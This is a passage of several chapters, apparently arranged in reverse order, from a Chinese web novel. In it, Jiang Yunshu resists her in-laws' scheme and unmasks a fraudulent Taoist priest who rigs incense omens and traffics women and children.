“你胡说八道什么,我怎么知道他们是从什么地方来的!八成是偷偷跑进道观来偷粮食的!” 云顶真人缩着身体,他打不过月禾,只一个劲儿的往后退。 “偷粮食?呵!” 月禾冷哼一声,“大家都知道,如今东城门口的灾民已经被安置在了清风村,加之各部官员和皇子们的协助,如今清风村温饱尚且能得到满足,他们不去清风村求助,反而来你这清风观偷东西?真人,你用‘偷’这个字眼,可不像是修行之人该有的胸怀。” 这话出口,众人脸上的表情都有了微妙的变化。 的确,不管是寺庙还是道观,凡有百姓乞食,尤其是妇人和孩子,都会施粥救助,云顶真人堂堂一观之主,说孩子们是来偷东西的,可见这清风观也并非什么正气之地。 沈清安心中思量着,下意识看姜云舒,姜云舒蹙着眉,没有理会他,他的视线转而看向了另一侧的高芝兰。 而此刻,高芝兰紧紧抿着唇,脸色竟比那云顶真人还要难看。 她是觉得,提议将众人带来这样的道观没将事情做好,还是她与这云顶真人有什么不为人所知的牵连? 此时脑子里闪过刚才云顶真人为姜云舒批命的情景,沈清安忽然意识到,事情似乎有些不对劲。 不过,这时没有人在意沈清安和高芝兰,众人的视线都在云顶真人身上,就等他回月禾的话。 此时云顶真人脸都白了,眼珠子转了几圈,愣是一句话都没说出来,倒是听得月禾一声怒喝。 “你这个妖道,面上演着救苦济世,背地里却干着买卖妇人孩童的勾当!” 这一声中气十足,震得在场众人都不由得瞪大了眼睛。 “什么?买卖妇人孩童?你说的是清风观?” “姑娘,这种事情没有证据可不敢乱说!” “就是,你不能凭几个孩子和妇人就将罪名往云顶真人头上扣,这可是毁人声誉啊!” 眼瞧着在场众人话锋都向着自己,云顶真人似是一下子有了底气,也仰起头看向月禾。 “你平白无故带着人过来,他们身份尚未清楚,却说我清风观做人口买卖,今日你若不把证据拿出来,咱们便京兆衙门走一趟,让京兆府尹还我清白,为我清风观正名!” 别说,这云顶真人说起话来,倒还真带着一股正气,真真是一副道貌岸然的样子。 灾民都是背井离乡,往外奔命来的,四处跑散了的有的是,哪里还有什么身份可查? 而当初云顶真人将那些妇人孩子关在后院,也什么都没有透露,他们只知道是被人带来道观的,也并不知道是要被卖掉,如今月禾和云顶真人双方各执一词,便是他们自己都不能分辨,究竟哪边是好人。 然而,云顶真人那胸膛还没挺起来,就见月禾哼笑一声。 “证据我当然有!” 说着,她摆摆手,就见一个俗门弟子装扮的人从月禾身后走了出来。 “我能证明,那日晚上,我的确看到有人将这些人送来道观,他们还说接连好渠道便将他们一起卖了。”李嫣然抬起头看向众人。 此时,众人看着李嫣然,她这一身道服装扮,有足够的说服力,一时间众人再看向云顶真人的视线变多了几分惊恐之色。 “胡说,你胡说八道!你被逼得走投无路,是我清风观好心收留你,你竟对我反咬一口!” 云顶真人瞪着李嫣然,眼珠子上布满了红血丝,他猛地面向众人。 “她刚来我清风观没多久,便是我有什么不可告人之事,为什么偏偏让她撞见?她定然是被收买了,肯定是!” 事情发展到如今这个状态,众人也不知道该信谁,一时间,视线在月禾和云顶真人之间往返。 “指认讲究个人证物证俱在,姑娘,你便是有认证也不能给真人定罪啊!” 人群中,不只是谁喊了一声。 “是啊!” “的确!” 众人小声议论,然而,这议论声还没起来,就见月禾从腰间掏出一本账本。 “那这个,能不能算作物证?” 第117章 人证物证俱在 这一跪,瞬间让场面变得鸦雀无声。 姜云舒也没料到老夫人竟会给她跪下,毕竟,晚辈跪长辈那是礼仪,长辈给晚辈下跪,那可是要折寿的。 相处三年,倒是没看出来,老夫人还揣着一颗这么狠的心。 姜云舒一时间未有动作,周边众人忍不住小声议论起来。 “哎呀,这老太太,怎么能跪小辈呢,这可怎么使得?” “那还不是为了整个家族,若那姜夫人真是坑害全家的命格,本应送到庄子上去,如何还能逼得婆母下跪?” “那可是定国将军府家的独女,如今又是皇上亲封的县主,也算是下嫁了,这婆母是被逼的没办法了。” 原本还替姜云舒说几句公道话的声音也不见了,此时入耳的尽是指责,还有别有用心之人看热闹不嫌事儿大。 高芝兰站在沈清安身侧,听着众人对姜云舒的指责,低垂着头遮住面上浮现的得意。 她倒是真的没想到老夫人会给姜云舒下跪,正好,这一次,这正妻之位,姜云舒非得让出来不可! 姜云舒瞪大眼睛,盯着眼前泣不成声的老夫人,双手不由得攥紧了拳头。 逼迫做到这个份儿上她是真狠,可若论狠,姜云舒的应对就简单多了。 正在众人议论之中,就见姜云舒猛然间抬手,“啪”的一巴掌抽在了老夫人脸上。 “你是什么邪物,给我从老夫人身上下来!” 说着话,她手腕一转,也不知从哪里抽出来的带子,“唰唰唰”地将老夫人捆了个结实! 整个动作都太快,众人尚且来不及看清楚发生了什么,老夫人已经被她捆上了。 老夫人更是被那一巴掌抽懵了,直到自己被捆成了粽子都没有反应过来,倒是沈清安先回过神,一个健步冲上去,拦住姜云舒的第二巴掌。 “啪!” 这一巴掌,结结实实抽在了沈清安脸上,直给他打得转了好几圈,扑通一声摔在地上。 “姜云舒,你疯了!” 他嘴角渗出血,趴在地上,咬牙切齿地瞪着姜云舒。 “你,你怎么还加上赶着捡巴掌呢!” 姜云舒一脸无奈,随即一抬手,又将绳子捆紧了些。 “哎哟!”老夫人疼得一下子涨红了脸。 “姜云舒,你竟敢殴打婆母!”沈清安撑着站起身来,伸手要救老夫人,却被姜云舒抬手拍开。 “别动!老夫人是被脏东西附了身!”姜云舒大喊一声。 她的声音不大,却让在场众人一下子往后退了一步,惊恐又好奇地往老夫人身上看。 此时老夫人头发也散了,睁大的眼睛里除了红血丝还有要吃人的凶光,别说,真真有点像是被附了身的模样。 “你胡说!这里可是清风观,妖魔邪祟都不敢靠近,怎么会有脏东西附身在母亲身上!” 高芝兰大喊一声,就要去拉老夫人,可还没到跟前,脖颈上就被姜云舒的匕首吓得站在原地。 “万一,这清风观本就是妖魔聚集之地呢?” 姜云舒挑眉朝旁边的云顶真人扫一眼,又看向沈清安。 “老夫人方才也说过,她的命是我救回来的,这辈子都会拿我当女儿疼爱,怎么可能当着众人的面儿给我一个晚辈下跪?长辈跪晚辈,这是要夺我的命,老夫人断然不会这般恶毒!” 这话一出,在场众人之中便有不少人随着点头。 京城前朝曾出现过一个恶婆母,为了跟儿媳借命在儿媳的卧房外偷偷下跪,结果生生害得儿媳年纪轻轻就没了命。 “听说这沈家老夫人可是常年礼佛之人,应该不至于这般恶毒吧?” “是呢,两年前我曾去崇光寺祈福,曾见这位姜夫人寒冬腊月等在崇明殿外,只求长明大师出关给婆母医病,如今若真被婆母这般对待,那这恶毒的婆母被打一巴掌也是活该!” “是啊,刚才这老太太还处处维护姜夫人,如今怎的一转眼就给儿媳下跪逼迫了呢?” 众人你一言我一语,言论风向在一瞬之间调转方向。 就连沈清安也一时摸不定,低头看向老夫人。 老夫人被姜云舒捆着动弹不得,只瞪眼挣扎。 “我没……” 一句话没说出来,却见姜云舒迅速在她身上点了几处穴位,后面的话便直接卡在了喉咙里。 “那你也不能对母亲动手,这毕竟是她的肉身!”沈清安咬牙切齿。 姜云舒略显无奈地叹一口气,“我当然不忍心对老夫人动手,可我听说,若被附身要用力击面目才能将那恶灵打出去。” 说话间,她不知又从哪里掏出一块黄色的布和一道符篆,黄布塞进老夫人的嘴里,符篆直接贴在了她脑门上。 “呜呜——” 老夫人发不出声音,只能拼命挣扎,挣扎得太用力,此时额间青筋暴起,越发像是被什么东西附了身一般。 高芝兰也被老夫人这反应吓得退了一步,她扭头,朝云顶真人使了个眼色。 云顶真人会意,走上前来,“这位施主,你……” “砰!” 话还没说完,姜云舒的鞭子照着云顶真人就抽了过去,“你这妖道,究竟对我家老夫人做了什么?” 姜云舒气势汹汹,见云顶真人躲过一鞭,紧接着甩出第二鞭。 在场众人吓得四散多开,他们可看见了,姜云舒那鞭子的尾端可都是闪着寒光的倒刺冷刃。 云顶真人似乎也没想到姜云舒这般能打,一时躲闪不及,踉踉跄跄摔在了地上。 “你,你分明是来捣乱,来人,快来人!” 云顶真人憋着一股怒意,朝大殿之内怒喊一声,此时,一群人便自大殿内冲了出来。 不,确切来说,应该是飞了出来。 一个个飞到云顶真人身边,“砰砰砰”地摔在地上,动弹不得。 云顶真人瞪大眼睛一看,竟是他身边的护卫道士,十二个人,一个不差的被人从内殿扔了出来! “怎么回事!” 这一次,云顶真人真的慌了,他踉跄着站起身来,就见自内殿之中,走出一群人。 阳光自大殿洒向地面,落在月禾身上,她仿若披着黄金圣甲一般,带着一众披头散发的女子和孩子自大殿入口走了进来。 “你这妖道,丧尽天良之事做尽,今天姑奶奶便扒了你的皮,然你感受感受什么是生不如死!” 说话间,月禾手中一根绳索飞过,直接勾住云顶真人的脖子。 第118章 毒害婆母 “姜氏,方才咱们上香,你那三支香的意头不大好,你再拜一次。”老夫人朝姜云舒扯了扯嘴角。 姜云舒一脸不解,但还是接过了小道士递来的香。 此时,小道士又过来给点上,姜云舒转身,在众人看不见的瞬间,悄悄地换了三支香的位置。 她将香抵在额间,朝着祖师爷像拜了三拜,此时众人的视线紧盯着姜云舒手里的香。 眼看着姜云舒将香插入香炉中,等待香灭。 “哎呀,是财神香!” 这时,人群中有人惊呼一声。 香客之中,有不少人是山脚下的百姓,拜得多了,自然也就能认识一些燃香的门道。 这一声,喊得云顶真人和高芝兰的脸色同时一沉,此时再看香炉,的确是财神香。 “哎呀,看吧,这不是好的嘛!” 老夫人也忍不住开口,说话间见看向云顶真人,那表情明明是笑,却又显得很纠结。 若姜云舒不是天煞之命,此时她安置灾民有功,于沈家来说也是好的,也省下不少麻烦。 但高芝兰可是福星…… 一时间,老夫人拿不准主意,扭头看向云顶真人。 此时却见云顶真人一脸沉重地摇摇头。 “错了,这香的位置虽是财神香,可这烟的形态却不对。” 说着,云顶真人将那香炉取下来,向众人展示,“财神香烟气是向上的,寓意蒸蒸日上,可如今这烟气是下坠,乃凶兆,这位夫人……身负煞气,唯恐祸及家人呐!” 清风山的垂直位置就在清风林不远处,姜云舒将灾民安置于清风林中,山下百姓自然多数都认识姜云舒,此时听得云顶真人批命姜云舒祸及家人,转念一想,确有其事。 “哎呀,这样说来,好好一个定国将军府,镇守边关多年,怎么说流放就流放了呢,难不成真是姜夫人这天煞之命方的?” “可姜夫人如今已经出嫁,总不能嫁出去的女儿只方自己娘家,夫家没事吧?” “就是,就是,这沈大人可是戴功回京,如今又被皇上委以重任,哪里被累及了?” 周边百姓多得益于姜云舒,便下意识为她开脱,然而,这些话出口,沈清安的脸色反而越发阴沉。 怎么就没被累及呢? 若非姜云舒向皇上反悔用救驾的功劳为他谋仕途,只凭他治理水患的功劳,如今也至少官升一级。 这样看来,姜云舒的确害他仕途受阻! 云顶真人听着众人的一乱,眼底也沉了几分,他示意让众人闭嘴,只端着香炉转向老夫人。 “老夫人你看,这烟气呈下沉之势,并非未累及夫家,若贫道没有猜错,这位夫人的娘家要比夫家官职更高才是,天煞之人,冲撞的首先便是高位。” 这一句话出,老夫人原本还带点希望的脸上,瞬间又白了。 “是,是啊!” 她咧着嘴,看向姜云舒,此时仿佛像是看着什么凶神。 得了老夫人回应,原本议论的众人也一时间闭了嘴,眼睛纷纷看向姜云舒。 姜云舒深吸一口气,开口。 “所以,真人觉着,我这天煞之人,应该怎么办呢?” 她勾着唇,未有半分慌乱。 云顶真人这种哄骗的脏事没少做,话到此时,一般人应该早已慌了神,可姜云舒那双眼睛里甚至连紧张都没有,反而,此时与他对视,竟让他生出一股莫名的寒凉。 “贫道需掐指算算。” 云顶真人还真掐诀算起来,也不知他口中嘟囔着念了什么,片刻,他却又转向了老夫人。 “贫道粗算,三年内,您家中恐有变故,这位夫人若不嫌弃,或可在我道观清修,待除去周身煞气,方可于家族无碍。” “三,三年?” 老夫人扯了扯嘴角,看向姜云舒,“姜氏,你……” “老夫人,这三年来,你我都是去崇光寺祈福上香,便是长明大师,也从未说过我身上有什么煞气,如今这小道观所谓的真人一张嘴,您便信了?” 姜云舒这话是对老夫人说的,眼睛却直盯着高芝兰。 高芝兰想当着众人的面儿让她受制于舆论,姜云舒便索性将话摆上明面。 “高夫人,你自回沈家,吃的穿的用的都是好的,怎的为店铺请财神却绕过赤峰观,选了个这样一个名不见经传的小道观?” 虽说赤峰观是皇室道观,却也并非不接待寻常百姓,而沈清安本就是官员,去赤峰观上香请财神才是正常。 姜云舒这话一出,又将众人的注意力引到了高芝兰身上。 “哎呀,听说沈大人回京时带了一位原配,难不成就是她?” “原配还在,姜夫人如何能嫁入沈家?难不成是沈家骗婚?” “听说这原配是当时失踪后来又寻回来的,就算是原配发妻,可姜夫人出嫁时不也没她吗?更何况,姜夫人是皇上赐婚,又是自皇宫出嫁,京兆府记录在册的沈夫人可是她。” “那也难怪,这原配定然是不甘心,难不成此时做局陷害姜夫人?” 一时间,众人的议论声一一传入高芝兰耳中。 高芝兰原本被姜云舒这一问便有些慌乱,再听众人的言论,更是紧张。 “姜夫人这是什么意思?我初来京城,寺庙道观之处并不熟悉,只是听店里的客人说这里灵验才提议老夫人来的,更何况,老夫人知道得多,她若觉着这清风观不好,自会拒绝,岂是我能引导的?” 高芝兰捏着拳头,压住涌上来的慌乱。 此时老夫人听高芝兰这样说,下意识跟着点点头。 的确,当时高芝兰说来清风观时,她也没多想,可能是银票拿到手里太高兴了,便随口应了。 更何况,高芝兰批命天选福星这件事,可不是只云顶真人算出来的,当初在清州时,便有高僧为高芝兰批过命,也是这样说的。 而且,这几年下来,高僧所说都应验了啊,否则,她也不能放着姜云舒这样一个高门出身的儿媳不要,非得护着高芝兰啊! 思及此,老夫人转向姜云舒。 “云舒啊,母亲知道你对我没得挑,当初我的命也是你救的,可是如今关系整个沈家,芝兰真的是天选福星,能救我沈家,就算我求你了,你将我沈家主母之位让给她吧,好不好?” 说着,老夫人竟双腿一曲,跪在了姜云舒跟前! 第119章 京兆府来拿人 “难怪了,看来高芝兰的确是有准备啊!”月禾看向姜云舒。 那今日这一趟,浑身不自在就有了解释。 姜云舒蹙眉,思量片刻,问李嫣然,“李姑娘,你可会解香?” “会一些的。”李嫣然回答。 自小在高门深渊之中谨小慎微地生活,她习惯了处处察言观色,虽不过一月,她已然对道家,亦或者说,对清风观的俗礼有所了解。 “如此甚好,三根香,从左到右呈阶梯形状增高是什么寓意?”姜云舒问。 “此香称为功德香,寓意功行全备,有神灵保佑。”李嫣然回答。 “哦。” 姜云舒挑眉,随即手指沾着茶,又在桌上画了她刚才的三根香,“这样的呢?” “这……”李嫣然眸光一凛,“这是天煞香,寓意身负凶杀,轻则人口残损,重则……满门俱灭啊!” 最后一句话,李嫣然的声音都抖了。 “不可能!” 月禾怒吼一声打断李嫣然,可除了这句,又不知道说什么。 人家是解香的,又不是诅咒,这怒火冲李嫣然发不着。 将比月禾,姜云舒倒是平静许多,定国将军府的确亲人四散,但若说是因为她害的,这话她绝对不认。 她伸手拉住月禾,又问李嫣然,“清风观的香,可以做手脚?” 这不是疑问,而是已经有了答案,只等李嫣然证实。 “是可以。”李嫣然点点头。 从月禾刚才的反应,她已经猜出来,那天煞香定然是姜云舒的。 “我曾听道观里的师兄给师弟们传私功时提及,如香客有特殊要求,可提前用云谷草油将香浸泡,浸泡之后的位置不会再燃,以此根据浸泡云谷草油的位置设定灭香的位置。”李嫣然如实回答。 清风观利用这种操作,做过不少脏事。 “好一个豺狼窝,竟给小姐下套陷害!” 说着,月禾手里的剑都开始抖了,“小姐,等会儿他们出来,我就将那黑心的道人拎去京兆府,看他还敢再害人!” “急什么?” 姜云舒拍拍她的手,又转向李嫣然,“你说了,这里贩卖妇人和孩童,那这清风观便不能留了,这样,等会儿你带月禾去找关押妇人和孩子的地方,她会破阵,能进去救人。” 之前研究沈清安院子里的阵法,月禾没少刻苦,如今一般的阵都困不住她,实在不行,她还会暴力破阵。 “这……月禾姑娘会不会有危险?”李嫣然一脸纠结地看月禾一眼。 这小姑娘,长得白白净净,虽说脾气有些不好,但一张娃娃脸甚是可爱,不像是很厉害的样子,后院可还有守门的呢。 “你这是什么眼神?” 月禾朝李嫣然掀了掀眼皮,抬手“砰”的一掌落在石凳上,下一瞬,就见那石凳竟从中间裂开了一道口子。 这力气,她信了。 “放心,月禾可是上过战场的,便是宫内的二等侍卫都不是她的对手。”姜云舒朝李嫣然勾了勾唇角。 “啊……月禾姑娘可真厉害。”李嫣然扯了扯嘴角,不知是震惊还是羡慕。 待月禾与李嫣然离开,姜云舒又去了清风观门口。 此时郭攀正蹲在门口看树上的松鼠。 原本,郭攀这门仆的身份是不用跟来的,但是出发之前,郭攀单独找了姜云舒。 “我一早晨这左眼皮一直跳,我有点不放心,感觉总得发生点什么,姜夫人,你就让我跟着去吧,不出事最好,万一真有事,我还能帮您报信儿不是?”郭攀挡着姜云舒的路就是不走。 他前日才得了信儿,老娘身体好着呢,定然是没事的,但今日沈家都出门,他眼皮不停地跳,唯一能想到的便是姜云舒了。 郭攀这人犟,姜云舒让他回去,他就是不肯,非得跟着来一趟才放心,果然,此时便真的用到他了。 “郭攀。”姜云舒走近。 “哎,姜夫人!” 郭攀应声,也不管松鼠了,紧忙过来,“夫人可是有什么事儿让小的做?” 等了半天,就等着姜云舒传他呢。 “你帮我下一趟山,去清风村找赵令海,让他带一队人过来。”姜云舒沉着声音。 此时灾民安置在清风村,因村子刚建立,又是灾民聚集,需要士兵巡逻维持安定,这清风村的房子是赵令海指挥着做的,如今这守卫的任务也就落在了他身上。 赵令海乐得有事做,加之同是出自定国将军府,与姜云舒的关系也近了一层,便也成了此时姜云舒唯一能调动的军队。 “是,小的这就去!” 郭攀拿了姜云舒给的令牌,转身就往山下跑。 姜云舒停顿稍许,转身又回去,此时沈清安和老夫人已经从大殿内出来。 “哎呀,不行,我绝对不信。” 出来时,老夫人一脸紧张,尤其看到姜云舒,她更是痛心疾首般,转身央求云顶真人。 “真人,您不能只凭借一次上香就给孩子扣下这天大的帽子啊,这孩子,这孩子一直都好好的。” 说着话,老夫人伸手拉住姜云舒,一脸疼惜的表情。 不用说,她说的什么“扣下的帽子”定然是扣的姜云舒。 此时进清风观上香的香客越来越多,老夫人声音大,又带着哭腔,一时将众香客的视线引了过来。 而沈清安站在一边,那张英俊的脸上似是也沾着什么苦大仇深,蹙着眉头看向姜云舒。 只有另一侧的高芝兰,虽极力压制表情,可搂着沈长元的手微微轻颤,依旧出卖了她此时的激动。 看到自己的计划实施,她很兴奋吧! 将众人神情尽收眼底,姜云舒又低头瞧着老夫人攥在自己手腕上的手,唇角勾起一抹冷笑。 老夫人这是想用舆论施压,若自己真应了那天煞的命格,便任由他沈家摆布了。 不得不说,老夫人这做戏的本领和高芝兰真是如出一辙,要不人家能做婆媳呢? 正想着,老夫人手上用力,将姜云舒拉到跟前,朝云顶真人央求。 “真人,您再给我们孩子一次机会,让她再试一次,万一上次是因为紧张没点好呢?” 这般诚恳态度,真真是一位对儿媳维护有加的慈爱婆母了。 听老夫人这样说,云顶真人再次上前,他抬手掐指不知在念叨什么,片刻,叹一口气。 “既然老夫人坚持,那贫道便再为这位夫人算一次!” 说着,他摆摆手,便有小道士将香送了过来。 小道士送香的位置是固定的,姜云舒接过来的排列顺序也固定,她低头看一眼,那香上的确有微弱的痕迹。 第36章 不过区区诱惑 马车装潢精致奢华,一切依照郡主的规格设计,车厢用精美的雕刻装饰,车门上镶嵌着金属饰物和定国将军府的家族图案,便是所用马匹亦是不多见的赤骥马,整个马车看起来高贵又华丽。 许是那马车的金边太过耀眼,闪得沈家众人下意识眯起眼睛。 疾驰的马车稳稳停在姜云舒跟前,车夫朝姜云舒行礼。 “大小姐。” 沈清安蹙眉打量之下,看到定国将军府的家族图案,当即面色一沉。 “姜氏,你怎敢乘坐雕刻定国将军府图案的马车招摇过市!” 如今定国将军府已经倾塌,这图案也顺势成了禁忌。 姜云舒眸光微沉,淡然回道:“这马车是当年我出嫁时,太后亲自命人打造添做我的陪嫁,我自不敢擅自更改设计和装潢。” 太后赏赐,自然不能随意更改,姜云舒这个理由正当好。 老夫人瞧见这马车时,已经两眼冒光,她半晌缓过神来,看向姜云舒。 “往常怎不见你乘坐这辆马车?” 语气之中带着丝丝可惜和埋怨。 若是以前姜云舒带她出席宴会时乘坐这辆马车,不知要让多少人羡慕。 姜云舒歪头朝沈清安看一眼,“当初沈大人官职低微,又身处岩城终日不得归家,作为家眷,我亦不宜张扬,这才一直没将这马车带出来。” 一席话,说得沈清安皱起眉头,这意思,是他给姜云舒拉低身份了呗。 姜云舒迎着他的视线挑了挑眉,的确是这样。 老夫人没理会姜云舒和沈清安之间眼神变化,一边说话的功夫已经从乘坐的马车上下来。 她双眼冒光地围着马车转了一圈,回到姜云舒跟前。 “你这马车够大,不如我们便乘坐这辆。” 这可是先太后赏赐,坐上这样的马车,仿佛她的身份也能随之高抬几分。 “老夫人不知,这马车虽大,却是以舒适为主,里面安装的是软塌,还有茶具和点心柜子,只适合两人乘坐。” 说着,月禾伸手将车帘掀开,里面奢华装潢显露,老夫人的眼睛又明亮的了几分。 “那……”她看向姜云舒。 “此去崇光寺一路颠簸,老夫人大病初愈理应尽量舒适一些,您若不嫌弃……” “哎呀,不嫌弃,不嫌弃,我怎么会嫌弃呢!” 老夫人一边说着,迫不及待的扶着吉祥的手上了马车。 姜云舒挑眉瞧着,侧目朝随着老夫人一同下了马车的高芝兰瞥一眼。 抢占沈家主母马车就能彰显身份了?老夫人坐哪辆马车,哪辆便在前面,前面的才是当家主母。 此刻高芝兰脸上再也没了刚才的得意,她咬着牙正气恼,冷不防沈长元从她身侧跑了出去。 “我也要做这辆漂亮的马车!” 说话间,他就要跟着老夫人上车,却被月禾快一步拦住。 “长元,你生母在那边,如今你可是要抛弃你的生母?”姜云舒冷冷开口。 这话面上说的是马车,可细思之下,又别有深意。 瞧,区区一辆马车就能收买你的儿子,你有什么可得意的呢。 此刻高芝兰的脸色更难看了。 “长元。”她朝沈长元喊了一声,朝他招手。 沈长元想坐漂亮马车可又怕沈清安骂他不孝,一时间犹豫迟疑不动。 姜云舒勾了勾唇角,又看向一旁的沈清安,“还愿讲究吉时,如今时辰不早了,可别耽误了时辰。” 沈清安此刻脸色也没好到哪里去,他本意虽不是以马车打压姜云舒,可如今却被姜云舒压一头,心里很是不痛快,尤其老夫人和沈长元这反应,让他有种被人抽了耳刮子的感觉,火辣辣的疼。 “好了,长元,你随你娘坐后面的马车去!”沈清安冷喝一声。 他语气不善,听得沈长元幼小地身子猛地一抖,他偷偷看沈清安一眼,虽不情愿,还是走向了高芝兰。 众人上了马车,队伍浩浩荡荡朝崇光寺的方向驶去。 马车里,老夫人头一次坐这样软的垫子,第一次坐在能躺着的马车里,不光如此,马车里甚至还能喝茶,便是山路崎岖,内里茶水都保持平稳。 皇室规格的马车果然不一般! 一路上,老夫人脸上那股子得意劲儿遮都遮不住,仿佛坐上了这马车,便也成了皇亲国戚,她喝着茶,还让姜云舒掀开马车帘子,好让外面的人能瞧见她,那得意的表情都快涨破脸皮了。 马车到崇光寺时,已经接近正午,姜云舒一如往常带着众人从南崇门进,便是小沙弥迎出来。 “阿弥陀佛,诸位施主,此处是皇室重地,进入崇明殿需出示令牌。” “姜氏,快,令牌。”老夫人看向姜云舒。 姜云舒朝月禾使了个眼色,月禾不情不愿地掏出令牌。 小沙弥验看之后,领着众人往里走,“诸位请随我来。” 众人跟着往里走,谁知还没进去,高芝兰在老夫人袖间拽了一下,老夫人停住脚步。 “哎呀,我的佛珠没带上来。”老夫人慌乱在身上找了找,看向姜云舒,“姜氏你快去马车上给我取回来。” 虽说那是姜云舒的马车,可单纯取东西,吩咐月禾便可,老夫人直接让姜云舒去取,想来是不准备让她跟着进去。 姜云舒自然看得出老夫人的意图,不过看破不说破,她应了一声转身朝殿外走。 “哼,真是没见过脸皮这样厚的,他们这是拿咱们当通行证呢,进了门便将咱们支出来,简直欺人太甚!” 月禾气得直跺脚,要不是姜云舒不让,她这会儿便返回沈家,一把火给他老窝烧了! 姜云舒眸色也随之沉了下来。 的确是欺人太甚,从沈清安带着高芝兰回来,沈家哪一样不是欺人太甚? 不过,他们使心机,姜云舒也不是能受人欺侮的。 “无所谓,反正他们也进不去。”她淡淡回答。 “嗯?他们不是已经进去了吗?”月禾不解。 姜云舒停下看她,解释道:“没有我,他们进不去内殿,而且,今日是四月初六,信阳侯府老夫人添香的日子。” 这一提醒,月禾眸光瞬间一亮。 “之前国公府老太君寿宴上,信阳侯府老夫人便不待见沈家老夫人,如今遇上,可是有好戏看了!” 说着,她转向姜云舒,“小姐,我们不去看戏?” 第35章 干票大的 “锦州灾民朝京城聚拢,三皇子定然也明白京城之中不日便会出现药物紧缺的情况,据我所知,三皇子的亲信在雍州,他要从雍州调药材过来,必要经过锦州,如今锦州堤坝崩塌,这条路便堵死了。” 姜云舒慢条斯理的抿了一口茶,继续道:“由此看来,三皇子和岩城来的这批药有两种可能的联系,其一,三皇子想抢占这批药,其二,这批药本来就是为三皇子准备的,这样一来,之前我们收到消息,药队中有军营之人护送,便说得通了。” 裴钰伸手,捻起姜云舒面前点心,“你这分析很符合三皇子那德行,所以,你准备怎么办?” “三皇子大概是想利用这次安置灾民的功绩,争得玄武军,我不可能让他得手。” 屋内烛火跳动,姜云舒拿剪子剪断燃烬的一段烛心,发出哔啵的声响。 定国将军府出事后,多数赤羽军收编入玄武军,三皇子是想将这重新编制的军队掌控在自己手里。 裴钰抬头,朝她挑了挑眉,“既然如此,要不要干票大的?” 姜云舒将面前点心碟子朝裴钰跟前推了推,唇角微挑。 “正有此意。” 翌日。 清晨的阳光带着丝丝清凉,唤醒天地万物。 姜云舒尚在睡梦之中,院内传来说话声音。 “如今时间尚早,还不到我家小姐晨起的时辰,吉祥姐姐不如等一等。” 月禾的声音传了进来。 此刻姜云舒刚好醒了,她坐起来,朝门外喊了一声。 “月禾。” “哎!”月禾应一声,招呼晨起侍奉的丫鬟过来。 “是吉祥?” 姜云舒穿了衣服下床,吉祥和丫鬟们正在门外等着,“可是有什么重要的事?” 吉祥是老夫人跟前的大丫鬟,若非事情重要,不会大清早的让她亲自跑一趟。 “是。”吉祥应声过来,“昨晚老夫人和沈大人商量着要去崇光寺还愿,让奴婢过来知会夫人一声,老夫人交代辰时出发。” 姜云舒坐在铜镜面前,看着镜中的自己,缓缓舒一口气。 当初沈清安在岩城落水之时,老夫人便忙不迭的去崇光寺请了愿,如今沈清安平安归来,是要去还愿的。 不过,老夫人身体刚刚缓过来就急着出门,姜云舒总觉着其中还有什么事儿。 “好,我收拾好便过去。”姜云舒应。 吉祥离开,月禾一边帮姜云舒梳头,忍不住“哼”一声。 “往常,老夫人要去崇光寺,总是要提前两三日便交代小姐准备,如今还愿这般庄重之事倒是随心了。” 说话间,她手中金簪没入姜云舒发间。 “若要说原因,今日是长明大师出关的日子。”姜云舒看着铜镜之中发件那枚金晃晃的簪子,片刻,吩咐月禾,“既然去崇光寺,今日便素净些,换那只雕花的白玉簪吧。” 崇光寺是大瑞国寺,方丈长明大师除本寺事务之外,还要监管皇室诸多相关事宜,尤其如今太后薨逝,诵经超度更是事务繁忙,若非皇权显贵,鲜少有能见到他的机会。 月禾自镜中看她,又将金簪取下,换成了白玉簪。 “之前若不是小姐带着,就沈家这门第,哪里有资格进崇明殿!”月禾不屑。 “我也想看看,老夫人这般着急,究竟是有何盘算。”姜云舒看着镜中的自己,微微勾起唇角。 一个时辰后,沈家大宅门口。 此刻出行的队伍已经准备妥当,沈清安沈清睿骑马在前,沈家两辆马车紧随,最后还有十来个家丁奴才扛着还愿准备的贡品和一应物什,也算是大阵仗了。 也是因着受伤,沈清睿这日休假未当值,见姜云舒出来,上前行礼。 “嫂,姜嫂嫂!” “嗯,你伤势可好些了?”姜云舒说话间,视线扫过他的左肩。 虽说不过是皮肉伤,可昨晚刚换了药,老夫人便这样折腾,姜云舒有一瞬间怀疑沈家二郎究竟是不是她亲生。 “嗯,骑马无碍。”沈清睿回答,眼神清澈。 相比沈家其他人,姜云舒倒是在沈清睿身上看到难得的真诚,比如,之前姜云舒给他机会在皇陵救驾。 事情看起来是凑巧,可在诸多巧合之下,沈清睿看得出是姜云舒一步步安排,他才有露面表现的机会,是以他将皇上赏赐的银钱和良田全都给了姜云舒。 知恩图报,这在沈家的确是难得的品性。 “如此便好,路上注意些。”姜云舒淡淡叮嘱一句, “哎呀,这可如何是好。” 这时,高芝兰一声惊呼,朝姜云舒这边看过来,“老夫人初愈,不能久坐,需侧躺,这马车怕是再容不下姜夫人了。” 说话间,前面马车车帘掀开,老夫人和高芝兰沈长元母子已经在马车里。 老夫人歪着身子靠在马车一侧,占了两个人的位置,高芝兰和沈长元坐在另一侧,的确是没了姜云舒的位置。 “不如,姜夫人便坐后面那辆吧。”高芝兰提议。 “你这是什么话,后面那辆马车是丫鬟们坐的,我家小姐怎么能与下人同乘!”月禾忍不住开口。 “是啊,娘,姜嫂嫂怎么能坐后面的!”沈清睿也忍不住开口。 两辆马车从装潢和马车配置差距明显,原本前面的主母车是姜云舒和老夫人乘坐,后面则是主子跟前大丫鬟坐的,如今高芝兰让姜云舒坐后面,羞辱之意再明显不过。 高芝兰被月禾呛一句,不再答话,只将薄被又往老夫人身上盖了盖,眼底闪过一抹得意。 她可是要随行照顾老夫人,自是要坐在主母马车上。 姜云舒不理会高芝兰,只看向老夫人。 许是她的视线太过灼热,老夫人不看她,遮掩催促,只身子往马车里侧了侧。 龟缩装傻,这是老夫人一贯逃避的方式。 姜云舒只觉一股寒凉从心底窜起。 “已经不早了,快些上路,别耽误了时辰。” 这时,沈清安开了口,他自知这般安排的确欠妥,又加了一句,“之后我会让沈管家重新为你定制一辆马车。” 那意思,以后不用跟丫鬟挤一辆,但沈家的主母车还是老夫人和高芝兰坐。 “不必了。” 姜云舒冷冷摆手,说话间,远处传来一声嘶鸣,众人抬头看去,只见一辆装潢奢华富丽的马车正朝这边驶来。 第34章 中馈要回一半 